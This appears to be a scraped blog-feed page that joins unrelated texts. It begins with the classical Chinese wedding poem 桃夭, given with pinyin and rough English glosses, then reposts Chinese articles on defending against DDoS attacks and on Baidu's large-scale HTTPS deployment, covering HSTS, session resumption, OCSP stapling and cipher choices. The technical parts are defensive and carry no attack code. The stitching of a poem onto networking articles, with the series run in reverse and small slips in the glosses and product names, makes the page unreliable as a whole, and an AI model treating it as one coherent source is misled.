桃夭(TAO YAO) peach blossom

桃夭(TAOYAO) peach blossom

2389215
桃之夭夭

桃之夭夭,灼灼其华。之子于归,宜其室家。

tao zhi yaoyao, zhuozhuo qi hua. zhizi yugui, yi qi qhijia.

桃之夭夭,有蕡其实。之子于归,宜其家室。

tao zhi yaoyao, youfen2 qi shi. zhizi yugui, yi qi jiashi.

桃之夭夭,其叶蓁蓁。之子于归,宜其家人。

tao zhi yaoyao, qiye zhen1zhen. zhizi yugui, yi qi jiaren.

 

[注释 Comment]

夭夭(yao yao): 桃花怒放的样子, blooming aspect of the peach blossom

灼灼(zhuozhuo): 花开得很茂盛,broomy  flower

华(hua):花 ,same as 花(flower)

之子(zhizi):指出嫁的女子,the girl getting married

归(gui):女子出嫁,wedding,specially for a girl

宜(yi):和顺,和善, good for something

室家(shijia):指夫妇,the couple

蕡(fen): 果实肥硕的样子, fruitful,always represent a large family with many children.

蓁蓁(zhenzhen): 树叶繁盛的样子,flourishing leaves.

 

《孟子》:“丈夫生而愿为之有室,女子生而愿为之有家”,上指其夫,故专言家,下论夫妇之道,故兼言室家。

Meng said, A man is willing a home for Her, A woman is willing a family for Him. First line of the poem, indicates the man, talking about the home.  Second and third line talk about the way of the couple.

–王先谦《诗三家义集疏》

一场盛大的婚礼,一对璧玉的新人,在牵手走过红地毯的时候,唱响这一首歌曲,《桃夭》,在当年,或许就是我们今天的《婚礼进行曲》, 关于婚姻的一切,在这一刻得到了透彻的祝福。

–沈文婷《〈诗经〉是一枚月亮》

An image of the wedding ceremony, a new couple walk through the red carpet. Taoyao, just like the nowaday’s  Wedding March, describes the wish to the new marriage.

 

防范 DDoS 攻击的 15 个方法

为了对抗 DDoS(分布式拒绝服务)攻击,你需要对攻击时发生了什么有一个清楚的理解. 简单来讲,DDoS 攻击可以通过利用服务器上的漏洞,或者消耗服务器上的资源(例如 内存、硬盘等等)来达到目的。DDoS 攻击主要要两大类: 带宽耗尽攻击和资源耗尽攻击. 为了有效遏制这两种类型的攻击,你可以按照下面列出的步骤来做:

1. 如果只有几台计算机是攻击的来源,并且你已经确定了这些来源的 IP 地址, 你就在防火墙服务器上放置一份 ACL(访问控制列表) 来阻断这些来自这些 IP 的访问。如果可能的话 将 web 服务器的 IP 地址变更一段时间,但是如果攻击者通过查询你的 DNS 服务器解析到你新设定的 IP,那这一措施及不再有效了。

2. 如果你确定攻击来自一个特定的国家,可以考虑将来自那个国家的 IP 阻断,至少要阻断一段时间.

3、监控进入的网络流量。通过这种方式可以知道谁在访问你的网络,可以监控到异常的访问者,可以在事后分析日志和来源IP。在进行大规模的攻击之前,攻击者可能会使用少量的攻击来测试你网络的健壮性。

4、对付带宽消耗型的攻击来说,最有效(也很昂贵)的解决方案是购买更多的带宽。

5、也可以使用高性能的负载均衡软件,使用多台服务器,并部署在不同的数据中心。

6、对web和其他资源使用负载均衡的同时,也使用相同的策略来保护DNS。

7、优化资源使用提高 web server 的负载能力。例如,使用 apache 可以安装 apachebooster 插件,该插件与 varnish 和 nginx 集成,可以应对突增的流量和内存占用。

8、使用高可扩展性的 DNS 设备来保护针对 DNS 的 DDOS 攻击。可以考虑购买 Cloudfair 的商业解决方案,它可以提供针对 DNS 或 TCP/IP3 到7层的 DDOS 攻击保护。

9、启用路由器或防火墙的反IP欺骗功能。在 CISCO 的 ASA 防火墙中配置该功能要比在路由器中更方便。在 ASDM(Cisco Adaptive Security Device Manager)中启用该功能只要点击“配置”中的“防火墙”,找到“anti-spoofing”然后点击启用即可。也可以在路由器中使用 ACL(access control list)来防止 IP 欺骗,先针对内网创建 ACL,然后应用到互联网的接口上。

10、使用第三方的服务来保护你的网站。有不少公司有这样的服务,提供高性能的基础网络设施帮你抵御拒绝服务攻击。你只需要按月支付几百美元费用就行。

11、注意服务器的安全配置,避免资源耗尽型的 DDOS 攻击。

12、听从专家的意见,针对攻击事先做好应对的应急方案。

13、监控网络和 web 的流量。如果有可能可以配置多个分析工具,例如:Statcounter 和 Google analytics,这样可以更直观了解到流量变化的模式,从中获取更多的信息。

14、保护好 DNS 避免 DNS 放大攻击。

15、在路由器上禁用 ICMP。仅在需要测试时开放 ICMP。在配置路由器时也考虑下面的策略:流控,包过滤,半连接超时,垃圾包丢弃,来源伪造的数据包丢弃,SYN 阀值,禁用 ICMP 和 UDP 广播。

最后多了解一些 DDOS 攻击的类型和手段,并针对每一种攻击制定应急方案。

防范 DDoS 攻击的 15 个方法,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(4):协议层以外的实践

1 前言

网上介绍 https 的文章并不多,更鲜有分享在大型互联网站点部署 https 的实践经验,我们在考虑部署 https 时也有重重的疑惑。

本文为大家介绍百度 HTTPS 的实践和一些权衡, 希望以此抛砖引玉。

2 协议层以外的实践工作

2.1 全站覆盖 https 的理由

很多刚接触 https 的会思考,我是不是只要站点的主域名换了 https 就可以?答案是不行。

https 的目的就是保证传输过程的安全,如果只有主域名上了 https,但是主域名加载的资源,比如 js,css,图片没有上 https,会怎么样?

从效果上来说,没有达到保证网站传输过程安全的目的,因为你的 js,css,图片仍然有被劫持的可能性,如果这些内容被篡改 / 嗅探了,那么 https 的意义就失去了。

浏览器在设计上早就考虑的这样的情况,会有相应的提示。具体的实现依赖浏览器,例如地址栏锁形标记从绿色变为黄色, 阻止这次请求,或者直接弹出非常影响用户体验的提示 (主要是 IE),用户会感觉厌烦,疑惑和担忧安全性。

很多用户看见这个链接会习惯性的点”是”,这样非 https 的资源就被禁止加载了。非 ie 的浏览器很多也会阻止加载一些危害程度较高的非 https 资源(例如 js)。我们发现移动端浏览器的限制目前会略松一些。

所以这里要是没做好,很多情况连网站的基本功能都没法正常使用。

2.2 站点的区别

很多人刚接触 https 的时候,觉得不就是部署证书,让 webserver 支持 https 就行了吗。

实际上对于不同的站点来说,https 的部署方式和难度有很大的区别。对于一个大型站点来说,让 webserver 支持 https,以及对 webserver 在 https 协议特性上做一些优化,在迁移的工作比重上,可能只占到 20%-40%。

我们考虑下以下几种情况下,部署 https 的方案。

2.2.1 简单的个人站点

简单的定义:资源只从本站的主域或者主域的子域名加载。

比如 axyz 的个人 blog,域名是 axyzblog.com。加载主域名下的 js 和图片。

这样的站部署 https,在已有证书且 webserver 支持的情况下,只需要把主域名替换为 https 接入,然后把资源连接修改为 https:// 或者 //。

2.2.2 复杂的个人站点

复杂的定义:资源需要从外部域名加载。

这样就比较麻烦了,主域资源容易适配 https,在 cdn 上加载的资源还需要 cdn 服务商支持 https。目前各大 cdn 的服务商正在逐渐提供 https 的支持,需要迁移的朋友可以看看自己使用的 cdn 是否提供了这项能力。一些 cdn 会对 https 流量额外收费。

Cdn 使用 https 常见的方案有:

1 网站主提供私钥给 cdn,回源使用 http。

2 cdn 使用公共域名,公共的证书,这样资源的域名就不能自定义了。回源使用 http。

3 仅提供动态加速,cdn 进行 tcp 代理,不缓存内容。

4 CloudFlare 提供了Keyless SSL的服务,能够支持不愿意提供私钥, 不想使用公共的域名和证书却又需要使用 cdn 的站点了。

2.2.3 简单的大型站点

简单的定义: 资源只从本站的主域, 主域的子域,或者自建 / 可控的 cdn 域名加载,几乎没有第三方资源。如果网站本身的特性就如此,或愿意改造为这样的类型,部署 https 就相对容易。Google Twitter 都是非常好的范例。优点:已经改成这样的站点,替换 https 就比较容易。缺点:如果需要改造,那么要很大的决心,毕竟几乎不能使用多样化的第三方资源了。

2.2.4 复杂,访问速度重要性稍低的大型站点

复杂的定义:从本站的非主域,或者第三方站点的域名有大量的第三方资源需要加载,多出现在一些平台类,或者有复杂内容展现的的网站。

访问速度要求:用户停留时间长或者强需求,用户对访问速度的耐受程度较高。比如门户,视频,在线交易类(比如火车票 机票 商城)网站。

这样的站点,可以努力推动所有相关域名升级为支持 https。我们用下图举例说明下这样修改会导致一个网站的链接发生怎样的改变。

负责流量接入的团队将可控的接入环境改造为 http 和 https 都支持,这样前端工程的工作相对就少一些。大部分时候将链接从 http:// 替换为 // 即可. 在主域名是 https 的情况下,其它资源就能自动从 https 协议下加载。一些第三方资源怎么办?一般来说只有两种选择,一迁移到自己的 cdn 或者 idc 吧,二强制要求第三方自己能支持 https。

以全站 https 接入的 facebook 举例。第三方厂商想在 facebook 上线一个游戏。facebook:请提供 https 接入吧。第三方想:能赚钱啊,还是提供下 https 接入吧。所以,足够强势,有吸引力,合作方也有提供 https 的能力的话,这是完全可行的。如果你的平台接入的都是一些个人开发者,而且还赚不到多少钱的情况下,这样就行不通了。

优点:前端改动相对简单,不容易出现 https 下还有 http 的资源问题。

缺点:通常这样的实现下,用户的访问速度会变慢,比如从 2.5 秒变为 3 秒,如上述的理由,用户还是能接受的。对第三方要求高。

2.2.5 复杂,访问速度有严格要求的大型站点

复杂的定义:同上。

访问速度要求:停留时间不长,用户对访问速度的心理预期较高。

但是如果用户把网站当作工具使用,需要你很快给出响应的时候,这样的实现就不好了。后续几个部分我们介绍下这些优化的抉择。

2.3 域名的选择

域名对访问速度的影响具有两面性:域名多,域名解析和建立连接的时间就多;域名少,下载并发度又不够。

https 下重建连接的时间成本比 http 更高,对于上面提到的简单的大型站点, 可以用少量域名就能满足需求,对于百度这样富展现样式较多的搜索引擎来说,页面可能展示的资源种类太多。而不同类型的资源又是由不同的域名 (不同的产品 或者第三方产品) 提供的服务,换一个词搜索就可能需要重新建立一些资源的 ssl 链接,会让用户感受到卡顿。

如果将域名限制在有限的范围,维持和这些域名的连接,合并一些数据,加上有 spdy,http2.0 来保证并发,是可以满足我们的需求的。

2.4 连接复用

连接复用率可以分为 tcp 和 ssl 等不同的层面,需要分开进行分析和统计。

2.4.1 连接复用的意义

HTTP 协议 (RFC2616) 规定一个域名最多不能建立超过 2 个的 TCP 连接。但是随着互联网的发展,一张网页的元素越来越多,传输内容越来越大,一个域名 2 个连接的限制已经远远不能满足现在网页加载速度的需求。

目前已经没有浏览器遵守这个规定,各浏览器针对单域名建立的 TCP 连接数如下:

浏览器 连接数
Firefox 2 2
Firefox 3+ 6
Chrome 6
Ie10 8
IE8 6
Safari 5 6
Opera 12 6

表格 1 浏览器单域名建立的最大并发连接数

从上表看出,单个域名的连接数基本上是 6 个。所以只能通过增加域名的方式来增加并发连接数。在 HTTP 场景下,这样的方式没有什么问题。但是在 HTTPS 连接下,由于 TLS 连接建立的成本比较高,增加并发连接数本身就会带来较大的延迟,所以对域名数需要一个谨慎的控制。

特别是 HTTP2 即将大规模应用,而 HTTP2 的最大特性就是多路复用,使用多个域名和多个连接无法有效发挥多路复用和压缩的特性。

那 HTTPS 协议下,一张网页到底该有多少域名呢?这个其实没有定论,取决于网页需要加载元素个数。

2.4.2 预建连接

既然从协议角度无法减少握手对速度的影响,那能不能提前建立连接,减少用户可以感知的握手延迟呢?当然是可以的。思路就是预判当前用户的下一个访问 URL,提前建立连接,当用户发起真实请求时,TCP 及 TLS 握手都已经完成,只需要在连接上发送应用层数据即可。

最简单有效的方式就是在主域下对连接进行预建,可以通过请求一些静态资源的方式。但是这样还是不容易做到极致,因为使用哪个连接,并发多少还是浏览器控制的。例如你对 a 域名请求一个图片,浏览器建立了两个连接,再请求一张图片的时候,浏览器很大概率能够复用连接,但是当 a 域名需要加载 10 个图片的时候,浏览器很可能就会新建连接了。

2.4.3 Spdy 的影响

Spdy 对于连接复用率的提升非常有效,因为它能支持连接上的并发请求,所以浏览器会尽量在这个链接上保持复用。

2.4.4 其它

也可以尝试一些其他发方法,让浏览器在访问你的网站之前就建立过 https 连接,这样 session 能够复用。HSTS 也能有效的减少跳转时间,可惜对于复杂的网站来说,开启需要考虑清楚很多问题。

2.5 优化的效果

从百度的优化经验来看看,如果不开启 HSTS,用户在浏览器直接访问主域名,再通过 302 跳转到 HTTPS。增加的时间平均会有 400ms+,其中 302 跳转和 ssl 握手的因素各占一半。但是对于后续的请求,我们做到了对绝大部分用户几乎无感知。

这 400ms+ 还有很多可以优化的空间,我们会持续优化用户的体验。

3 HTTPS 迁移遇到的一些常见问题。

3.1 传递 Referrer

我们可以把自己的网站替换为 https,但是一般的站点都有外链,要让外链都 https 目前还不太现实。很多网站需要从 referrer 中判断流量来源,因此对于搜索引擎这样的网站来说,referer 的传递还是比较重要的。如果不做任何设置,你会发现在 https 站点中点击外链并没有将 referrer 带入到 http 请求的头部中(http://tools.ietf.org/html/rfc7231#section-5.5.2)。现代的浏览器可以用 meta 标签来传递 refer。(http://w3c.github.io/webappsec/specs/referrer-policy)

<meta name=”referrer” content=”always”> 传递完整的 url

<meta name=”referrer” content=”origin”> 只传递站点,不包含路径和参数等。

对于不支持 meta 传递 referrer 的浏览器,例如 IE8, 我们怎么办呢?

可以采用再次跳转的方法,既然 HTTPS 下不能给 HTTP 传递 referer,我们可以先从 HTTPS 访问一个可控的 http 站点,把需要传递的内容放到这个 http 站点的 url 中,然后再跳转到目标地址。

3.2 form 提交

有时需要将 form 提交到第三方站点,而第三方站点又是 http 的地址,浏览器会有不安全的警告。可以和 referrer 的跳转传递采取相似的逻辑。

但是这样对 referer 和 form 等内容的方案,并不是完美的解决方法,因为这样还是增加了不安全的因素(劫持,隐私泄露等 )。理想情况需要用户升级符合最新规范的浏览器,以及推进更多的站点迁移至 https。

3.3 视频播放

简单来说,如果你使用 http 的协议来播放视频,那么浏览器仍然会有不安全的提示。所以你有两种选择,1 让视频源提供 https。2 使用非 http 的协议,如 rtmp 协议。

3.4 用户异常

在 https 迁移的过程中,也会有不少热心的用户向我们反馈遇到的各种问题。

常见的有以下的一些情况:

1 用户的系统时间设置错误,导致提示证书过期。

2 用户使用 fiddler 等代理进行调试,但是没有添加这些软件的根证书,导致提示证书非法。

3 用户使用的 Dns 为公共 dns 或者跨网设置 dns,一些请求被运营商作为跨网流量拦截。

4 连通性有问题,我们发现一个小运营商的 https 失败率奇高,又没法联系到他们,只能不对他们进行 https 的转换。

5 慢。有时由于网络环境的因素,用户打开其他网站也慢,ping 哪个网站都要 500-2000ms。这时 https 自然也会很慢。

4 结束语

对于复杂的大型网站来说,HTTPS 的部署有很多工作要完成。

面对困难和挑战,有充足的动力支持着我们前进:https 上线后,劫持等原因导致的用户功能异常,隐私泄露的反馈大幅减少。

热心的用户经常会向我们反馈遇到的各种问题。在以前,有时即使我们确定了是劫持的问题,能够解决问题的方法也非常有限。每当这种时候,自己总会产生一些无力感。

HTTPS 的全站部署,给我们提供了能解决大部分问题的选项。能让一个做技术的人看到自己的努力解决了用户的问题,这就是最棒的收获。

HTTPS 没有想像中难用和可怕,只是没有经过优化。与大家共勉。

大型网站的 HTTPS 实践(4):协议层以外的实践,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(3):基于协议和配置的优化

1 前言

上文讲到 HTTPS 对用户访问速度的影响。

本文就为大家介绍 HTTPS 在访问速度,计算性能,安全等方面基于协议和配置的优化。

2 HTTPS 访问速度优化

2.1 Tcp fast open

HTTPS 和 HTTP 使用 TCP 协议进行传输,也就意味着必须通过三次握手建立 TCP 连接,但一个 RTT 的时间内只传输一个 syn 包是不是太浪费?能不能在 syn 包发出的同时捎上应用层的数据?其实是可以的,这也是 tcp fast open 的思路,简称 TFO。具体原理可以参考 rfc7413。

遗憾的是 TFO 需要高版本内核的支持,linux 从 3.7 以后支持 TFO,但是目前的 windows 系统还不支持 TFO,所以只能在公司内部服务器之间发挥作用。

2.2 HSTS

前面提到过将用户 HTTP 请求 302 跳转到 HTTPS,这会有两个影响:

1,    不安全,302 跳转不仅暴露了用户的访问站点,也很容易被中间者支持。

2,    降低访问速度,302 跳转不仅需要一个 RTT,浏览器执行跳转也需要执行时间。

由于 302 跳转事实上是由浏览器触发的,服务器无法完全控制,这个需求导致了 HSTS 的诞生:

HSTS(HTTP Strict Transport Security)。服务端返回一个 HSTS 的 http header,浏览器获取到 HSTS 头部之后,在一段时间内,不管用户输入www.baidu.com还是http://www.baidu.com,都会默认将请求内部跳转成https://www.baidu.com

Chrome, firefox, ie 都支持了 HSTS(http://caniuse.com/#feat=stricttransportsecurity)。

2.3 Session resume

Session resume 顾名思义就是复用 session,实现简化握手。复用 session 的好处有两个:

1,    减少了 CPU 消耗,因为不需要进行非对称密钥交换的计算。

2,    提升访问速度,不需要进行完全握手阶段二,节省了一个 RTT 和计算耗时。

TLS 协议目前提供两种机制实现 session resume,分别介绍一下。

2.3.1 Session cache

Session cache 的原理是使用 client hello 中的 session id 查询服务端的 session cache, 如果服务端有对应的缓存,则直接使用已有的 session 信息提前完成握手,称为简化握手。

Session cache 有两个缺点:

1,    需要消耗服务端内存来存储 session 内容。

2,    目前的开源软件包括 nginx,apache 只支持单机多进程间共享缓存,不支持多机间分布式缓存,对于百度或者其他大型互联网公司而言,单机 session cache 几乎没有作用。

Session cache 也有一个非常大的优点:

1,   session id 是 TLS 协议的标准字段,市面上的浏览器全部都支持 session cache。

百度通过对 TLS 握手协议及服务器端实现的优化,已经支持全局的 session cache,能够明显提升用户的访问速度,节省服务器计算资源。

2.3.2 Session ticket

上节提到了 session cache 的两个缺点,session ticket 能够弥补这些不足。

Session ticket 的原理参考 RFC4507。简述如下:

server 将 session 信息加密成 ticket 发送给浏览器,浏览器后续握手请求时会发送 ticket,server 端如果能成功解密和处理 ticket,就能完成简化握手。

显然,session ticket 的优点是不需要服务端消耗大量资源来存储 session 内容。

Session ticket 的缺点:

1,    session ticket 只是 TLS 协议的一个扩展特性,目前的支持率不是很广泛,只有 60% 左右。

2,    session ticket 需要维护一个全局的 key 来加解密,需要考虑 KEY 的安全性和部署效率。

总体来讲,session ticket 的功能特性明显优于 session cache。希望客户端实现优先支持 session ticket。

2.4 Ocsp stapling

Ocsp 全称在线证书状态检查协议 (rfc6960),用来向 CA 站点查询证书状态,比如是否撤销。通常情况下,浏览器使用 OCSP 协议发起查询请求,CA 返回证书状态内容,然后浏览器接受证书是否可信的状态。

这个过程非常消耗时间,因为 CA 站点有可能在国外,网络不稳定,RTT 也比较大。那有没有办法不直接向 CA 站点请求 OCSP 内容呢?ocsp stapling 就能实现这个功能。

详细介绍参考 RFC6066 第 8 节。简述原理就是浏览器发起 client hello 时会携带一个 certificate status request 的扩展,服务端看到这个扩展后将 OCSP 内容直接返回给浏览器,完成证书状态检查。

由于浏览器不需要直接向 CA 站点查询证书状态,这个功能对访问速度的提升非常明显。

Nginx 目前已经支持这个 ocsp stapling file,只需要配置 ocsp stapling file 的指令就能开启这个功能:

ssl_stapling on;ssl_stapling_file ocsp.staple;

2.5 False start

通常情况下,应用层数据必须等完全握手全部结束之后才能传输。这个其实比较浪费时间,那能不能类似 TFO 一样,在完全握手的第二个阶段将应用数据一起发出来呢?google 提出了 false start 来实现这个功能。详细介绍参考https://tools.ietf.org/html/draft-bmoeller-tls-falsestart-00

简单概括 False start 的原理就是在 client_key_exchange 发出时将应用层数据一起发出来,能够节省一个 RTT。

False start 依赖于 PFS(perfect forward secrecy 完美前向加密),而 PFS 又依赖于 DHE 密钥交换系列算法(DHE_RSA, ECDHE_RSA, DHE_DSS, ECDHE_ECDSA),所以尽量优先支持 ECDHE 密钥交换算法实现 false start。

2.6 使用 SPDY 或者 HTTP2

SPDY 是 google 推出的优化 HTTP 传输效率的协议(https://www.chromium.org/spdy),它基本上沿用了 HTTP 协议的语义, 但是通过使用帧控制实现了多个特性,显著提升了 HTTP 协议的传输效率。

SPDY 最大的特性就是多路复用,能将多个 HTTP 请求在同一个连接上一起发出去,不像目前的 HTTP 协议一样,只能串行地逐个发送请求。Pipeline 虽然支持多个请求一起发送,但是接收时依然得按照顺序接收,本质上无法解决并发的问题。

HTTP2 是 IETF 2015 年 2 月份通过的 HTTP 下一代协议,它以 SPDY 为原型,经过两年多的讨论和完善最终确定。

本文就不过多介绍 SPDY 和 HTTP2 的收益,需要说明两点:

1,    SPDY 和 HTTP2 目前的实现默认使用 HTTPS 协议。

2,    SPDY 和 HTTP2 都支持现有的 HTTP 语义和 API,对 WEB 应用几乎是透明的。

Google 宣布 chrome 浏览器 2016 年将放弃 SPDY 协议,全面支持 HTTP2,但是目前国内部分浏览器厂商进度非常慢,不仅不支持 HTTP2,连 SPDY 都没有支持过。

百度服务端和百度手机浏览器现在都已经支持 SPDY3.1 协议。

 

3 HTTPS 计算性能优化

3.1 优先使用 ECC

ECC 椭圆加密算术相比普通的离散对数计算速度性能要强很多。下表是 NIST 推荐的密钥长度对照表。

对称密钥大小 RSA 和 DH 密钥大小 ECC 密钥大小
80 1024 160
112 2048 224
128 3072 256
192 7680 384
256 15360 521

表格 2 NIST 推荐使用的密钥长度

对于 RSA 算法来讲,目前至少使用 2048 位以上的密钥长度才能保证安全性。ECC 只需要使用 224 位长度的密钥就能实现 RSA2048 位长度的安全强度。在进行相同的模指数运算时速度显然要快很多。

3.2 使用最新版的 openssl

一般来讲,新版的 openssl 相比老版的计算速度和安全性都会有提升。比如 openssl1.0.2 采用了 intel 最新的优化成果,椭圆曲线 p256 的计算性能提升了 4 倍。(https://eprint.iacr.org/2013/816.pdf)

Openssl 2014 年就升级了 5 次,基本都是为了修复实现上的 BUG 或者算法上的漏洞而升级的。所以尽量使用最新版本,避免安全上的风险。

3.3 硬件加速方案

现在比较常用的 TLS 硬件加速方案主要有两种:

1,    SSL 专用加速卡。

2,    GPU SSL 加速。

上述两个方案的主流用法都是将硬件插入到服务器的 PCI 插槽中,由硬件完成最消耗性能的计算。但这样的方案有如下缺点:

1,    支持算法有限。比如不支持 ECC,不支持 GCM 等。

2,    升级成本高。

a)       出现新的加密算法或者协议时,硬件加速方案无法及时升级。

b)      出现比较大的安全漏洞时,部分硬件方案在无法在短期内升级解决。比如 2014 年暴露的 heartbleed 漏洞。

3,    无法充分利用硬件加速性能。硬件加速程序一般都运行在内核态,计算结果传递到应用层需要 IO 和内存拷贝开销,即使硬件计算性能非常好,上层的同步等待和 IO 开销也会导致整体性能达不到预期,无法充分利用硬件加速卡的计算能力。

4,    维护性差。硬件驱动及应用层 API 大部分是由安全厂家提供,出现问题后还需要厂家跟进。用户无法掌握核心代码,比较被动。不像开源的 openssl,不管算法还是协议,用户都能掌握。

3.4 TLS 远程代理计算

也正是因为上述原因,百度实现了专用的 SSL 硬件加速集群。基本思路是:

1,    优化 TLS 协议栈,剥离最消耗 CPU 资源的计算,主要有如下部分:

a)       RSA 中的加解密计算。

b)      ECC 算法中的公私钥生成。

c)       ECC 算法中的共享密钥生成。

2,    优化硬件计算部分。硬件计算不涉及协议及状态交互,只需要处理大数运算。

3,    Web server 到 TLS 计算集群之间的任务是异步的。即 web server 将待计算内容发送给加速集群后,依然可以继续处理其他请求,整个过程是异步非阻塞的。

4 HTTPS 安全配置

4.1 协议版本选择

SSL2.0 早就被证明是不安全的协议了,统计发现目前已经没有客户端支持 SSL2.0,所以可以放心地在服务端禁用 SSL2.0 协议。

2014 年爆发了 POODLE 攻击,SSL3.0 因此被证明是不安全的。但是统计发现依然有 0.5% 的流量只支持 SSL3.0。所以只能有选择地支持 SSL3.0。

TLS1.1 及 1.2 目前为止没有发现安全漏洞,建议优先支持。

4.2 加密套件选择

加密套件包含四个部分:

1,    非对称密钥交换算法。建议优先使用 ECDHE,禁用 DHE,次优先选择 RSA。

2,    证书签名算法。由于部分浏览器及操作系统不支持 ECDSA 签名,目前默认都是使用 RSA 签名,其中 SHA1 签名已经不再安全,chrome 及微软 2016 年开始不再支持 SHA1 签名的证书 (http://googleonlinesecurity.blogspot.jp/2014/09/gradually-sunsetting-sha-1.html)。

3,    对称加解密算法。优先使用 AES-GCM 算法,针对 1.0 以上协议禁用 RC4( rfc7465)。

4,    内容一致性校验算法。Md5 和 sha1 都已经不安全,建议使用 sha2 以上的安全哈希函数。

4.3 HTTPS 防攻击

4.3.1 防止协议降级攻击

降级攻击一般包括两种:加密套件降级攻击 (cipher suite rollback) 和协议降级攻击(version roll back)。降级攻击的原理就是攻击者伪造或者修改 client hello 消息,使得客户端和服务器之间使用比较弱的加密套件或者协议完成通信。

为了应对降级攻击,现在 server 端和浏览器之间都实现了 SCSV 功能,原理参考https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00

一句话解释就是如果客户端想要降级,必须发送 TLS_SCSV 的信号,服务器如果看到 TLS_SCSV,就不会接受比服务端最高协议版本低的协议。

4.3.2 防止重新协商攻击

重新协商(tls renegotiation)分为两种:加密套件重协商 (cipher suite renegotiation) 和协议重协商(protocol renegotiation)。

重新协商会有两个隐患:

1,      重协商后使用弱的安全算法。这样的后果就是传输内容很容易泄露。

2,      重协商过程中不断发起完全握手请求,触发服务端进行高强度计算并引发服务拒绝。

对于重协商,最直接的保护手段就是禁止客户端主动重协商,当然出于特殊场景的需求,应该允许服务端主动发起重协商。

5 结束语

HTTPS 的实践和优化涉及到了非常多的知识点,由于篇幅关系,本文对很多优化策略只是简单介绍了一下. 如果想要了解协议背后的原理,还是需要详细阅读 TLS 协议及 PKI 知识。对于大型站点来说,如果希望做到极致,HTTPS 的部署需要结合产品和基础设施的架构来进行详细的考虑,比起部署支持 HTTPS 的接入和对它的优化,在产品和运维层面上花费的功夫会更多。本系列的下一篇文章将进一步进行介绍。

大型网站的 HTTPS 实践(3):基于协议和配置的优化,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(2):HTTPS 对性能的影响

1 前言

HTTPS 在保护用户隐私,防止流量劫持方面发挥着非常关键的作用,但与此同时,HTTPS 也会降低用户访问速度,增加网站服务器的计算资源消耗。

本文主要介绍 https 对用户体验的影响。

2 HTTPS 对访问速度的影响

在介绍速度优化策略之前,先来看下 HTTPS 对速度有什么影响。影响主要来自两方面:

  1. 协议交互所增加的网络 RTT(round trip time)。
  2. 加解密相关的计算耗时。

下面分别介绍一下。

2.1 网络耗时增加

由于 HTTP 和 HTTPS 都需要 DNS 解析,并且大部分情况下使用了 DNS 缓存,为了突出对比效果,忽略主域名的 DNS 解析时间。

用户使用 HTTP 协议访问http://www.baidu.com(或者 www.baidu.com) 时会有如下网络上的交互耗时:

图 1 HTTP 首个请求的网络耗时

可见,用户只需要完成 TCP 三次握手建立 TCP 连接就能够直接发送 HTTP 请求获取应用层数据,此外在整个访问过程中也没有需要消耗计算资源的地方。

接下来看 HTTPS 的访问过程,相比 HTTP 要复杂很多,在部分场景下,使用 HTTPS 访问有可能增加 7 个 RTT。如下图:

图 2 HTTPS 首次请求对访问速度的影响

HTTPS 首次请求需要的网络耗时解释如下:

1,    三次握手建立 TCP 连接。耗时一个 RTT。

2,    使用 HTTP 发起 GET 请求,服务端返回 302 跳转到 https://www.baidu.com。需要一个 RTT 以及 302 跳转延时。

a)       大部分情况下用户不会手动输入 https://www.baidu.com 来访问 HTTPS,服务端只能返回 302 强制浏览器跳转到 https。

b)      浏览器处理 302 跳转也需要耗时。

3,    三次握手重新建立 TCP 连接。耗时一个 RTT。

a)       302 跳转到 HTTPS 服务器之后,由于端口和服务器不同,需要重新完成三次握手,建立 TCP 连接。

4,    TLS 完全握手阶段一。耗时至少一个 RTT。

a)       这个阶段主要是完成加密套件的协商和证书的身份认证。

b)      服务端和浏览器会协商出相同的密钥交换算法、对称加密算法、内容一致性校验算法、证书签名算法、椭圆曲线(非 ECC 算法不需要)等。

c)       浏览器获取到证书后需要校验证书的有效性,比如是否过期,是否撤销。

5,    解析 CA 站点的 DNS。耗时一个 RTT。

a)       浏览器获取到证书后,有可能需要发起 OCSP 或者 CRL 请求,查询证书状态。

b)      浏览器首先获取证书里的 CA 域名。

c)       如果没有命中缓存,浏览器需要解析 CA 域名的 DNS。

6,    三次握手建立 CA 站点的 TCP 连接。耗时一个 RTT。

a)       DNS 解析到 IP 后,需要完成三次握手建立 TCP 连接。

7,    发起 OCSP 请求,获取响应。耗时一个 RTT。

8,    完全握手阶段二,耗时一个 RTT 及计算时间。

a)       完全握手阶段二主要是密钥协商。

9,    完全握手结束后,浏览器和服务器之间进行应用层(也就是 HTTP)数据传输。

当然不是每个请求都需要增加 7 个 RTT 才能完成 HTTPS 首次请求交互。大概只有不到 0.01% 的请求才有可能需要经历上述步骤,它们需要满足如下条件:

1,    必须是首次请求。即建立 TCP 连接后发起的第一个请求,该连接上的后续请求都不需要再发生上述行为。

2,    必须要发生完全握手,而正常情况下 80% 的请求能实现简化握手。

3,    浏览器需要开启 OCSP 或者 CRL 功能。Chrome 默认关闭了 ocsp 功能,firefox 和 IE 都默认开启。

4,    浏览器没有命中 OCSP 缓存。Ocsp 一般的更新周期是 7 天,firefox 的查询周期也是 7 天,也就说是 7 天中才会发生一次 ocsp 的查询。

5,    浏览器没有命中 CA 站点的 DNS 缓存。只有没命中 DNS 缓存的情况下才会解析 CA 的 DNS。

2.2 计算耗时增加

上节还只是简单描述了 HTTPS 关键路径上必须消耗的纯网络耗时,没有包括非常消耗 CPU 资源的计算耗时,事实上计算耗时也不小(30ms 以上),从浏览器和服务器的角度分别介绍一下:

1,    浏览器计算耗时

a)       RSA 证书签名校验,浏览器需要解密签名,计算证书哈希值。如果有多个证书链,浏览器需要校验多个证书。

b)      RSA 密钥交换时,需要使用证书公钥加密 premaster。耗时比较小,但如果手机性能比较差,可能也需要 1ms 的时间。

c)       ECC 密钥交换时,需要计算椭圆曲线的公私钥。

d)      ECC 密钥交换时,需要使用证书公钥解密获取服务端发过来的 ECC 公钥。

e)       ECC 密钥交换时,需要根据服务端公钥计算 master key。

f)       应用层数据对称加解密。

g)      应用层数据一致性校验。

2,    服务端计算耗时

a)       RSA 密钥交换时需要使用证书私钥解密 premaster。这个过程非常消耗性能。

b)      ECC 密钥交换时,需要计算椭圆曲线的公私钥。

c)       ECC 密钥交换时,需要使用证书私钥加密 ECC 的公钥。

d)      ECC 密钥交换时,需要根据浏览器公钥计算共享的 master key。

e)       应用层数据对称加解密。

f)       应用层数据一致性校验。

